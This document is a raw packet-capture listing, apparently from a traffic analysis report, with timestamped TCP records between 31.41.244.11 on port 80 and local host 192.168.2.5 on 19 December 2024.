                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.512377977 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.512492895 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.512504101 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.512538910 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.513426065 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.513470888 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.513748884 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.513812065 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.514887094 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.514933109 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.514945984 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.515029907 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.516005039 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.516082048 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.516102076 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.516149044 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.516984940 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.517033100 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.654267073 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.654329062 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.654377937 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.654422998 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.654751062 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.654799938 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.654953003 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.654999018 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.655119896 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.655189037 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.655977011 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.656043053 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.656141996 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.656189919 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.657008886 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.657059908 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.657133102 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.657179117 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.658029079 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.658076048 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.658193111 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.658241987 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.659059048 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.659105062 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.659193993 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.659241915 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.660109043 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.660156012 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.660248995 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.660298109 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.661134005 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.661179066 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.661257982 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.661303043 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.662213087 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.662261009 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.662308931 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.662353039 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.663245916 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.663294077 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.663367987 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.663415909 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.664249897 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.664293051 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.664385080 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.664428949 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.665283918 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.665343046 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.665410995 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.665453911 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.666363955 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.666424990 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.666496038 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.666538000 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.667393923 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.667435884 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.667499065 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.667541027 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.668401003 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.668443918 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.668523073 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.668565989 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.669526100 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.669579029 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.669604063 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.669655085 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.670474052 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.670521975 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.670603991 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.670655966 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.671525002 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.671572924 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.671689034 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.671735048 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.672574997 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.672620058 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.672683954 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.672729969 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.673614025 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.673662901 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.673712015 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.673757076 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.674643040 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.674691916 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.674772978 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.674818993 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.675760984 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.675827980 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.675896883 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.675941944 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.676758051 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.676817894 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.676841021 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.676887035 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.677757978 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.677854061 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.677862883 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.677903891 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.678774118 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.678819895 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.678891897 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.678937912 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.679831028 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.679878950 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.679968119 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.680016994 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.681111097 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.681157112 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.681210995 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.681258917 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.681935072 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.681982040 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.682116985 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.682163954 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.682995081 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.683042049 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.683106899 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.683155060 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.684004068 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.684051991 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.684114933 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.684163094 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.685033083 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.685081005 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.685121059 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.685167074 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.686018944 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.686089039 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.686161995 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.686209917 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.687077045 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.687144995 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.687227964 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.687273979 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.688112974 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.688160896 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.688234091 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.688282013 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.689167976 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.689234018 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.689306021 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.689357042 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.690190077 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.690243006 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.690320015 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.690386057 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.691241980 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.691296101 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.691344976 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.691392899 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.692254066 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.692305088 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.692394018 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.692440033 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.693295956 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.693347931 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.693418980 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.693471909 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.694351912 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.694406033 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.694488049 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.694544077 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.695389032 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.695440054 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.695493937 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.695547104 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.696436882 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.696548939 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.696603060 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.696654081 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.697434902 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.697504997 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.697599888 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.697655916 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.698482037 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.698537111 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.698599100 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.698645115 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.699517965 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.699568033 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.699625969 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.699671030 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.700544119 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.700592041 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.700675964 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.700721979 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.701565981 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.701611042 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.701714993 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.701757908 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.702987909 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.702999115 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.703037024 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.703623056 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.703690052 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.703784943 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.703830004 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.704691887 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.704739094 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.704773903 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.704880953 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.705740929 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.705792904 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.705854893 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.705900908 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.706742048 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.706789970 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.706871986 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.706919909 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.707818985 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.707886934 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.707902908 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.707948923 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.846697092 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.846797943 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.846867085 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.846926928 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.847054958 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.847131014 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.847208023 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.847263098 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.848119974 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.848186016 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.848412037 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.848464012 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.849178076 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.849235058 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.849526882 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.849581003 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.850155115 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.850598097 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.850668907 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.851222038 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.851308107 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.851377964 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.852229118 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.852313995 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.852376938 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.852829933 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.853286028 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.853334904 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.853427887 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.853476048 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.854264021 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.854314089 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.854392052 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.854439974 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.855351925 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.855401039 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.855452061 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.855503082 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.856440067 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.856451035 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.856498957 CET4983480192.168.2.531.41.244.11
